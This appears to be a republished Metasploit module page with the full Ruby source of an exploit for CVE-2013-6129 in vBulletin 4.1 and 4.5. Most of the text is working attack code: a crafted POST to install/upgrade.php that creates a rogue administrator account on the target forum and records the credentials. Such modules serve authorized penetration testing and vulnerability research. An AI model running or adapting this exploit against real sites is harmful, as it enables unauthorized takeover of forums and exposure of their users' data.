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VBulletin Administrator Account Creation
This Metasploit module abuses the “install/upgrade.php” component on vBulletin 4.1+ and 4.5+ to create a new administrator account, as exploited in the wild on October 2013. This Metasploit module has been tested successfully on vBulletin 4.1.5 and 4.1.0.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'vBulletin Administrator Account Creation', 'Description' => %q{ This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to create a new administrator account, as exploited in the wild on October 2013. This module has been tested successfully on vBulletin 4.1.5 and 4.1.0. }, 'Author' => [ 'Unknown', # Vulnerability discoverer? found in the wild 'juan vazquez' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-6129' ], [ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'], [ 'OSVDB', '98370' ], [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5'] ], 'DisclosureDate' => '2013-10-09' ) ) register_options( [ OptString.new('TARGETURI', [ true, 'The vbulletin URI', '/']), OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]']) ] ) end def user datastore['USERNAME'] end def pass datastore['PASSWORD'] end def run if user == pass print_error('Please select a password different than the username') return end print_status('Trying a new admin vBulletin account...') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'install', 'upgrade.php'), 'method' => 'POST', 'vars_post' => { 'version' => 'install', 'response' => 'true', 'checktable' => 'false', 'firstrun' => 'false', 'step' => '7', 'startat' => '0', 'only' => 'false', 'options[skiptemplatemerge]' => '0', 'reponse' => 'yes', 'htmlsubmit' => '1', 'htmldata[username]' => user, 'htmldata[password]' => pass, 'htmldata[confirmpassword]' => pass, 'htmldata[email]' => datastore['EMAIL'] }, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' } }) if res && (res.code == 200) && res.body =~ (/Administrator account created/) print_good("Admin account with credentials #{user}:#{pass} successfully created") connection_details = { module_fullname: fullname, username: user, private_data: pass, private_type: :password, status: Metasploit::Model::Login::Status::UNTRIED, proof: res.body }.merge(service_details) create_credential_and_login(connection_details) else print_error('Admin account creation failed') end endend